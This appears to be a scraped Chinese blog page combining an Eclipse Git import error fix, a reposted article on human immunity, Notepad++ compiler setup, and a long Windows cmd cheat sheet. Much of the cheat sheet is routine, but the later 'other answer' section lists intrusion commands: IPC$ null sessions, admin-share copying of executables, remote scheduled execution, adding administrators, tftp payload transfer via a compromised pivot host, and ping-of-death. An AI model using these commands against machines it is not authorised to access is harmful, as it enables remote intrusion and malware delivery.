Error log list:
org.eclipse.core.runtime.CoreException: Connecting Git team provider failed. See log for details.
at org.eclipse.egit.core.op.ConnectProviderOperation.execute(ConnectProviderOperation.java:105)
at org.eclipse.egit.ui.internal.clone.GitImportWizard$8.run(GitImportWizard.java:287)
at org.eclipse.core.internal.resources.Workspace.run(Workspace.java:2240)
at org.eclipse.core.internal.resources.Workspace.run(Workspace.java:2262)
at org.eclipse.egit.ui.internal.clone.GitImportWizard.importProjects(GitImportWizard.java:292)
at org.eclipse.egit.ui.internal.clone.GitImportWizard.access$2(GitImportWizard.java:236)
at org.eclipse.egit.ui.internal.clone.GitImportWizard$4.run(GitImportWizard.java:206)
at org.eclipse.jface.operation.ModalContext$ModalContextThread.run(ModalContext.java:119)
Contains: Error connecting project Frogger, no Git repositories found
Enviroment:
eclipse.buildId=4.6.3.M20170301-0400
java.version=1.8.0_111
WINDOWS 10, X86
Analysis & Resolution:
Eclipse can not find the Git Repository .
We must choose the git repository as the location of Java project.
Related Photos:
Correct Project Location:
Same as the Git Repository location.
Knowledge Dictionary
2017年3月30日星期四
JAVA_HOME 为何要设置为JDK 安装目录而不是JRE
2017年3月12日星期日
转:人体是如何预防细菌和病毒的?
转自: https://zhidao.baidu.com/question/2073820287608577668.html?qbl=relate_question_0&word=%CF%B8%BE%FA%20%B2%A1%B6%BE%20%D3%EB%20%BF%B9%CC%E5
人体为了和疾病作斗争,建立了一套完整复杂的防御体系。主要有三方面作用,一是保护人体免受病毒、细菌、支原体以及其他病原微生物的袭击;二是及时清除新陈代谢以后的废物,清理人体和病原微生物打仗以后的战场,消灭变异的人体细胞;三是修复受损失的器官和组织,让其恢复正常的功能。人体的防御体系包括三个层次,即物理屏障、非特异性免疫系统和特异性免疫系统。这些防御体系是按系统层次组成的,在病原攻克第一道屏障以后,立即面临第二道屏障。这种多层次的体系构成,使得人类能够在每天成千上万种致病菌的攻击下得以生存。 人体的万里长城---皮肤和粘膜: 皮肤和粘膜构筑了最外一层天然屏障,人体只是通过口腔、鼻腔、尿道、肛门这四道关口和外界交换,完成能量代谢。也正是因为这些通商口岸的存在给病原微生物提供了入侵的途径。 皮肤由多层扁平细胞组成,能阻挡病原体的穿越,只有当皮肤损伤时,病原体才能侵入。皮肤里的多层扁平细胞里多为没有代谢的死细胞和胶质,因为病毒是必须通过活的细胞才可以入侵人体,到达相应的靶细胞,所以流感、麻疹、水痘等病毒是不能通过完整的皮肤进行传染的。皮肤的汗腺能分泌乳酸使汗液呈酸性,不利于细菌生长。皮脂腺分泌的脂肪酸,有杀细菌和真菌作用。 粘膜虽然仅有单层柱状细胞,机械性阻挡作用不如皮肤,但粘膜有多种武器。呼吸道表面有上皮细胞覆盖,这些上皮细胞不但有纤毛结构,还能分泌粘液。每天一个健康人的呼吸道表面可以产生大约100毫升的粘液,这些粘液不但有利于纤毛的运动,还能粘附病原微生物,阻碍其进入细胞。上皮细胞的纤毛具有主动摆动作用,该运动是按照一定方向进行摆动,从而使粘液和粘液里的病原体向咽喉方向移动,通过咳嗽和吞咽动作将其排出体外。某些气道的粘液里游弋着一些机动部队(吞噬细胞和白细胞),随时能够吃掉病原或者限制病原的扩散。鼻腔前部有鼻毛,鼻毛交织成一张大网能兜住大部分的灰尘和较大的细菌;鼻腔后部的纤毛和粘液能粘住绝大部分的病原体,通过打喷嚏、擤鼻涕将这些病原体扫地出门。 消化道也是一条很难逾越的屏障。只有那些最具有抵抗力的病原才可以通过消化道来实现感染。病原体遇到的第一关就是口腔,口腔唾液中,含有一种溶菌酶,可以高效的分解细菌,唾液中还有分泌性白细胞蛋白酶抑制剂,可以杀死病毒,甚至对艾滋病毒都有很好的灭活作用。吞咽还可以缩短病原体在口腔的停留时间,让病原体没有足够的繁殖时间。病原体在侥幸通过唾液对其作用以后,病原将面临的是胃酸的攻击。胃酸几乎可以杀死食物中的绝大多数微生物。胃中还有很多蛋白酶,这些酶在胃酸的作用下,具有最佳的活性,来降解食物里的蛋白质,当然也可以分解病原微生物的蛋白质。十二指肠有大量由胰腺排入的消化酶类和来自肝脏的胆酸盐,对病原体的蛋白外壳和脂类都有很好的溶解作用,可以迅速杀死这些病原微生物。另外肠道中定居数万亿计的有益菌早已经瓜分完地盘,可以和病原菌形成竞争,使落网的病原菌没有落脚之地。肠道和尿道更是通过定期的排泄迅速将有害细菌和物质排出体外。 人体的野战军—--天然免疫系统 人体接触到的的病原微生物是难以估计的天文数字,我们不可能幼稚的依靠万里长城来阻挡病原体的侵袭。这套物理屏障的主要功能就是尽量减少病原体的入侵数量。病原是很狡猾的,不会被高大的城墙所吓到,病原体还会通过各种途径入侵人体。请不要怪罪,病原体也是为了生存,它们不感染人类或者其他动物,就不能存活,更不能繁衍后代,这样就会导致家族的灭亡。病原体是和人类共存的,也会长期和人类斗智斗勇。如果没有它们,人类将孤独求败,也会因为郁闷而灭亡。 人体除了皮肤粘膜的屏障,还有一套免疫系统,包括天然免疫和获得性免疫。是人体抵抗病原微生物的国防系统,这个系统是由免疫器官、免疫细胞和免疫分子构成。 免疫器官包括:骨髓、胸腺、脾脏、淋巴结、扁桃体、小肠集合淋巴结、阑尾等。免疫细胞包括:淋巴细胞、单核吞噬细胞、中性粒细胞、嗜碱粒细胞、嗜酸粒细胞、肥大细胞、血小板等。免疫分子包括:补体、免疫球蛋白、细胞因子等。 天然免疫系统有两大军种构成,一个是吞噬细胞系统,一个是免疫球蛋白系统。当病原入侵人体后,第一个冲上前去的就是巨噬细胞。在和平年代,巨噬细胞的主要功能是在组织中巡游以收集体内的垃圾,如死亡的细胞碎片,因为每天由于人体的新陈代谢会有大量细胞死亡。一旦有病原微生物穿越第一道屏障,巨噬细胞就毫不留情将其吞噬,但巨噬细胞相当于一个流动哨,大多数情况只能处理少量的病原体,更多的发挥一个通报敌情的作用。当敌情严重的时候,它会迅速上报司令部,调集野战部队,即白细胞(是年富力强的吞噬细胞包括中性粒细胞和单核细胞)。这就是为什么当我们生病以后,医生会给我们做一个白细胞的检查,如果是细菌感染,白细胞则会升高的原因。因此很多人认为白细胞不好,是个坏东西,是它导致生病。其实这是结果,而不是原因。白细胞是人体里和细菌作战时冲锋陷阵的勇士,奋勇抗敌直至牺牲。在和敌人作战的过程中,白细胞里的溶酶体释放出的多种水解酶也能破坏邻近的正常组织细胞,造成对人体不利的免疫病理性损伤。这是不利的一面,以后我们还会讲到如何弥补这种缺陷。 血液中的中性粒细胞和单核细胞以及组织、器官中巨噬细胞构成单核吞噬细胞系统。当病原体穿透皮肤或粘膜到达体内组织后,吞噬细胞首先从毛细血管中逸出,聚集到病原体所在部位。多数情况下,病原体被吞噬杀灭。若未被杀死,则经淋巴管到附近淋巴结,在淋巴结内的吞噬细胞进一步把它们消灭。淋巴结的这种过滤作用在人体免疫防御能力上占有重要地位,一般只有毒力强、数量多的病原体才有可能不被完全阻挡而侵入血流及其它脏器。但是在血液、肝、脾或骨髓等处的吞噬细胞会对病原体继续进行吞噬杀灭。细菌被吞噬在吞噬细胞内形成吞噬体;溶酶体与吞噬体融合成吞噬溶酶体;溶酶体中多种杀菌物质和水解酶将细菌杀死并消化;菌体残渣被排出细胞外。 道高一尺魔高一丈,部分狡猾的病原菌也正好利用人体吞噬系统,进行不可告人的秘密,它们虽然也可以被吞噬细胞吞入,但不能被杀死,这就是不完全吞噬,比如结核分枝杆菌、布鲁氏菌、伤寒沙门氏菌、军团菌。不完全吞噬可使这些病菌在吞噬细胞内得到保护,免受人体体液中特异性抗体、非特异性抗菌物质或抗菌药物的作用。有的病菌还能在吞噬细胞内生长繁殖,反使吞噬细胞死亡。有的可随游走的吞噬细胞经淋巴液或血流扩散到人体其它部位,造成广泛病变。 免疫球蛋白是人体天然免疫的很重要的一个组成部分,可分为三种类,即免疫球蛋白GIgG、免疫球蛋白A(IgA)、免疫球蛋白M(IgM)。 人体血清免疫球蛋白IgG是免疫反应中最重要的抗体,它仅以单体形式存在。是抗感染中的主力军,它能够促进单核巨噬细胞的吞噬作用,中和细菌毒素的毒性和病毒抗原结合使病毒失去感染人体细胞的能力。IgG在机体合成的年龄要晚于IgM,在出生后第3个月开始合成,3-5岁接近成年人水平。它是唯一能通过胎盘的免疫球蛋白,是孩子出生6个月内的最主要的免疫球蛋白。 IgA分血清型和分泌型两种,血清型IgA可以调节细胞吞噬作用。分泌型IgA(SIgA)是机体粘膜防御系统的主要成分,覆盖在鼻、咽、气管、肠和膀胱粘膜的表面,它能抑制微生物在呼吸道上皮附着,减缓病毒繁殖,是粘膜重要屏障,对某些病毒、细菌和—般抗原具有抗体活性,是防止病原体入侵机体的第一道防线。外来抗原进入呼吸道或消化道,局部免疫系统受到刺激后,无需中央免疫系统的参与,自身就可进行免疫应答,产生分泌型抗体,即SIgA。呼吸道分泌液中SigA含量的高低直接影响呼吸道粘膜对病原体的抵抗力。 IgM是抗原刺激诱导体液免疫应答中最先产生的免疫球蛋白,主要分布于血清中。是高效能的抗生物抗体,其杀菌、溶菌、促吞噬和凝集作用比IgG高500-1000倍,IgM在机体的早期防御中起着重要的作用。 补体系统是指存在于血清、组织液和细胞膜表面的蛋白质组成的,具有精密调控机制的蛋白质反应系统,补体系统能参与机体的特异性和非特异性免疫机制,主要表现为,一溶解和杀伤作用:当细菌进入机体后,细菌的细胞壁脂多糖可通过替代激活补体系统导致细菌细胞壁的破坏。二是免疫粘附作用:补体可以将小分子病原粘附集中,便于吞噬细胞吞噬消除。三是趋化作用:补体在激活的过程可以释放信号,让白细胞向病原所在地集中,以便杀死病原微生物。
人体的特种兵---获得性免疫系统
获得性免疫是人体出生后,在生活过程中与病原体及其毒性代谢产物等接触后产生的一系列免疫防御功能。这种免疫功能是在出生后才形成,并且只对接触过的病原体有作用,故也称后天获得性免疫或特异性免疫。获得性免疫不能遗传给后代。获得性免疫包括体液免疫和细胞免疫两大类。体液免疫是以特异性抗体起主要作用的免疫反应,因抗体存在于人体的血液、淋巴液、组织液、分泌液等体液中,所以叫体液免疫。当人体淋巴细胞中的B细胞受到某些病原体和它们的代谢产物后,一般在巨噬细胞和辅助性T细胞协同下,细胞进行分化、增殖为浆细胞。随着病原体类型、进入机体途径、免疫反应过程等不同,浆细胞可合成和分泌具有不同理化特性和生物学功能免疫球蛋白抗体。抗体的主要功能是调理病原体,增强吞噬细胞的吞噬作用以及中和细菌外毒素或病毒等。 细胞免疫是以淋巴细胞中的T细胞为核心的免疫应答反应。当T细胞与某些病原体接触后,一般在巨噬细胞参与下,T细胞进行分化、增殖为细胞毒性T细胞,将入侵的病原体,尤其是胞内寄居的病原体杀灭。 国防系统大阅兵 骨髓:国防大本营 骨髓是白细胞的生产基地,为了保证白细胞的战斗力,大约每秒钟都会有上千万的衰老的血细胞死,同时又相同数量的血细胞产生。这种快速的新陈代谢是保障人体健康的主要机制。同时骨髓里还有大量的预备役力量,也就是黄骨髓,当人体在紧急情况下,也可以加入生产大军。 胸腺:国防训练基地 骨髓只能提供的兵员,要将兵原训练成各个兵种还需要胸腺的进一步完成,胸腺是T细胞的加工和训练场地。T细胞是由胸腺内的淋巴干细胞分化而成,是淋巴细胞中数量最多,功能最复杂的一类细胞。可以分为细胞毒性T细胞、辅助性T细胞和抑制性T细胞。它们的正常功能对人类抵御疾病非常重要。 细胞毒T细胞:消灭受感染的细胞。这些细胞的功能就像一个“杀手”,因为它们可以对产生特殊抗原反应的目标细胞进行杀灭。我们称之为天然杀伤细胞。 辅助T细胞:在免疫反应中扮演中间过程的角色:可以激活其它类型免疫细胞。T细胞调控或“辅助”其它淋巴细胞的发挥功能。 调节/抑制T细胞:负责调节机体免疫反应,抵抗病原微生物,同时还要避免免疫反应过渡损伤机体。 扁桃体、淋巴结:人体作战的主战场 淋巴结是一个拥有数十亿个白血球的小型战场。当病原体侵入皮下或粘膜后,很容易进入毛细淋巴管回流入淋巴结。当淋巴缓慢地流经淋巴结时,巨噬细胞可清除其中的异物,如对细菌的清除率可达99%,但对病毒的清除率常很低。清除率常与病毒的抗原的性质、毒力、数量以及机体的免疫状态等密切相关。当人体被感染,外来的入侵者和免疫细胞都聚集在这里,淋巴结就会肿大。所以我们会经常看到感冒的时候扁桃体会肿大,甚至颈部淋巴结也会肿大。肿胀的淋巴结是一个很好的信号,它正告诉你身体受到感染,而你的免疫系统正在努力地工作着。 当病原进入淋巴结后,巨噬细胞和树突细胞可捕获与处理抗原,使相应特异性受体的淋巴细胞发生转化。激活T淋巴系统,调动身体的体液免疫系统参与作战。 协防员:阑尾 人出生后不久,淋巴组织便开始在阑尾中聚积,在20岁左右达到高峰。阑尾能够发挥淋巴器官的功能,促进B淋巴细胞的成熟和免疫球蛋白A类抗体的生成。阑尾在帮助局部免疫的同时,盲肠还能帮助控制抗体的过度免疫反应。阑尾虽然作用不如其他淋巴系统那么重要,但在局部还是发挥这一定的作用。 人体的实战演习 如果人体皮肤局部发炎,组织里的吞噬细胞就会吞噬病原,通过树突细胞把信息传递给更高一层司令部求救。处于伤口周围的野战军(性粒细胞、巨噬细胞、淋巴细胞等)一接到作战信号,就立刻从懒洋洋的状态进入备战状态,逆着信号发出的方向往事发地点跑。首先赶到现场的一般是巨噬细胞和中性粒细胞,中性粒细胞是人体野战军中数量最多的,能占到一半以上,也最先投入战斗,他们的做战方式一般是与细菌同归于尽,皮肤化脓感染的脓液其实主要就是中性粒细胞的尸体组成。巨噬细胞不仅吞噬来犯之敌,还要处理战后垃圾。更重要是巨噬细胞吞噬敌人后,还要想弄清出敌人的身份,肢解敌人的尸体,并将能表明敌人身份的残骸挂到自己的表面,形成标志抗原。让司令部识别敌人,准备相应的特种部队,以及数量。以便对付以后此类敌人的再次入侵。 在中央指挥部坐镇的就是辅助性T细胞,辅助性T细胞出身在骨髓,然后送到胸腺进行培训,接受严酷的训练,训练的主要内容是识别人体的各种敌人及异物,辅助性T细胞能识别大约100万种不同的抗原信息。这些受训的学员在这里胸腺中接受考验,不合格的将会被淘汰杀死,百里挑一才能成一名合格指挥官的。 巨噬细胞已经将表明敌人身份的抗原向指挥部报告了,辅助性T细胞就要对这些残骸信息做出分析,分析出巨噬细胞杀死的是不是敌人,是何种敌人,性质是什么。然后发出全国紧急动员令,把全国的军队动员起来,所有将士一律停止休假,进入战争准备。他给巨噬细胞、粒细胞、自然杀伤细胞)、B细胞等免疫细胞发出战争指令,人体的各个免疫细胞都从平时的休养状态变成热血沸腾(活化状态),神采奕奕奔赴前线。 与辅助性T细胞一同在胸腺受训的还有细胞毒性T细胞,他们是人体的警察。他们的任务是时刻密切监视人体王国的各个成员,如果哪个细胞感染了病毒或细菌,细胞毒性T细胞就把他们侦察出来,在他们身上投下一种叫穿孔蛋白的炸弹,在感染了病菌的细胞上打出一个大孔,让这些细胞的生命物质流出来,把他们一个个处决!细胞毒性T细胞还是要受辅助性T细胞领导,当他接受辅助T细胞的命令后,更会加倍努力杀敌。 人体免疫系统中最强大的武器在于B细胞生成的抗体。抗体是人体对付入侵者的特种部队,是极为高效的一对一关系。从敌人入侵到人体最终制造出专门针对该入侵之敌的抗体,大约需要一周时间,等到这些抗体生成后,这种特种部队将铺天盖地的满布战场,专门找与自己匹配的敌人,有的抗体能中和敌人的毒素;有的则扑到敌人身体死死抱住让敌人动弹不得,好让免疫细胞容易消灭;有的则能布成一道战场隔离带,让所有敌人无法进入健康组织。产生这些抗体的就是B细胞,也辅助性T细胞统一指挥来完成。辅助性T细胞从巨噬细胞那里得到敌人的情报,开始运用自己的智慧识别敌人,认清了敌人本质后开始着手从数百万个B细胞中挑选一个出来,下指令让这个B细胞马上进入战时状态,全身淋巴结就会增生变大,开足马力生产武器。 在战争快进入尾声时,司令部就不喜欢穷兵黩武之人,因为战争不但消耗大量能源,也会造成人体巨大的损伤。司令部就安排一起和辅助性T细胞在胸腺受训的抑制性T细胞接管指挥权,抑制性T细胞就接替辅助性T细胞成为最高统帅,向全国发出停战命令,大量裁减军队,军工生产停工,肿大的淋巴结恢复。 战争结束后,一部分经历这场战争的有经验老兵被司令部保留下来,它们是记忆性B细胞、记忆性细胞毒性细胞等。一旦再有同一种类的外敌来侵,这些经历过相同老兵将迅速反应,重新活化。由于这些士兵经验丰富,属于国家的财富,受到很优厚的待遇,它们会很长寿,也就是我们所说的终身免疫。比如记忆性B细胞如果重新遇到跟以往战争同一类的敌人,就可以不经司令部指令,迅速活化,重新进入战争状态,大量生产消灭敌人的高效抗体。在短时间内就会杀死外来之敌
2017年1月22日星期日
配置notepad++ 编译运行C++ (附:常用cmd命令)
// notepad++ 如何编译当前打开的cpp文件: notepad++ -> run ->输入如下命令,会生成同名的exe文件
// C:\MinGW\bin\g++.exe ->g++.exe安装路径
// $(FULL_CURRENT_PATH) ->当前全路径
// $(CURRENT_DIRECTORY) ->当前文件夹
// $(NAME_PART) ->当前文件名(不含后缀)
C:\MinGW\bin\g++.exe "$(FULL_CURRENT_PATH)" -o "$(CURRENT_DIRECTORY)\$(NAME_PART).exe"
//notepad++中 如何运行当前打开的cpp文件编译后的exe文件:
// cmd /k 运行后不关闭 命令窗口
cmd /k $(CURRENT_DIRECTORY)\$(NAME_PART).exe
/***************************************************************/
CMD 新手入门知识
//查看cmd命令:
cmd then help
cmd /?
winver 检查Windows版本
wmimgmt.msc 打开Windows管理体系结构(wmi)
wupdmgr Windows更新程序
wscript Windows脚本宿主设置
write 写字板
winmsd 系统信息
wiaacmgr 扫描仪和照相机向导
winchat xp自带局域网聊天
mem.exe 显示内存使用情况
msconfig.exe 系统配置实用程序
mplayer2 简易widnows media player
mspaint 画图板
mstsc 远程桌面连接
mplayer2 媒体播放机
magnify 放大镜实用程序
mmc 打开控制台
mobsync 同步命令
dxdiag 检查directx信息
drwtsn32 系统医生
devmgmt.msc 设备管理器
dfrg.msc 磁盘碎片整理程序
diskmgmt.msc 磁盘管理实用程序
dcomcnfg 打开系统组件服务
ddeshare 打开dde共享设置
dvdplay dvd播放器
net stop messenger 停止信使服务
net start messenger 开始信使服务
notepad 打开记事本
nslookup 网络管理的工具向导
ntbackup 系统备份和还原
narrator 屏幕“讲述人”
ntmsmgr.msc 移动存储管理器
ntmsoprq.msc 移动存储管理员操作请求
netstat -an (tc)命令检查接口
syncapp 创建一个公文包
sysedit 系统配置编辑器
sigverif 文件签名验证程序
sndrec32 录音机
shrpubw 创建共享文件夹
secpol.msc 本地安全策略
syskey 系统加密,一旦加密就不能解开,保护Windows xp系统的双重密码
services.msc 本地服务设置
sndvol32 音量控制程序
sfc.exe 系统文件检查器
sfc /scannow windows文件保护 tsshutdn 60秒倒计时关机命令
tourstart xp简介(安装完成后出现的漫游xp程序)
taskmgr 任务管理器
eventvwr 事件查看器
eudcedit 造字程序
explorer 打开资源管理器
packager 对象包装程序
perfmon.msc 计算机性能监测程序
progman 程序管理器
regedit.exe 注册表
rsop.msc 组策略结果集
regedt32 注册表编辑器
rononce -p 15秒关机
regsvr32 /u *.dll 停止dll文件运行
regsvr32 /u zipfldr.dll 取消zip支持
cmd.exe cmd命令提示符
chkdsk.exe chkdsk磁盘检查
certmgr.msc 证书管理实用程序
calc 启动计算器
charmap 启动字符映射表
cliconfg sql server 客户端网络实用程序
clipbrd 剪贴板查看器
conf 启动netmeeting
compmgmt.msc 计算机管理
cleanmgr 垃圾整理
ciadv.msc 索引服务程序
osk 打开屏幕键盘
odbcad32 odbc数据源管理器
oobe/msoobe /a 检查xp是否激活
lusrmgr.msc 本机用户和组
logoff 注销命令
iexpress 木马捆绑工具,系统自带
nslookup ip地址侦测器
fsmgmt.msc 共享文件夹管理器
utilman 辅助工具管理器
gpedit.msc 组策略
以下为Windows操作系统的常用运行命令,执行这些命令,就能打开系统对应的相关实用程序,如果大家能基本利用,就能检查并修复系统的最基本的故障,除注销,关闭系统命令外,其它所有命令,大家不妨一试!!
运行\输入CMD\输入 对应的相关实用程序:
. 打开C:\Documents and Settings\XXX(当前登录Windows XP的用户名)
.. 打开Windows XP所在的盘符下的Documents and Settings文件夹
... 打开“我的电脑”选项。
accwiz.exe 辅助工具向导
actmovie.exe 直接显示安装工具
append.exe 允许程序打开制定目录中的数据
arp.exe 显示和更改计算机的IP与硬件物理地址的对应列表
at.exe 计划运行任务
atmadm.exe ATM调用管理器统计
attrib.exe 显示和更改文件和文件夹属性
/***************************************************************************************************/
其他回答/***************************************************************************************************/
我搜集的CMD命令如下net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
print 文件名 打印文本文件 ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况 IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
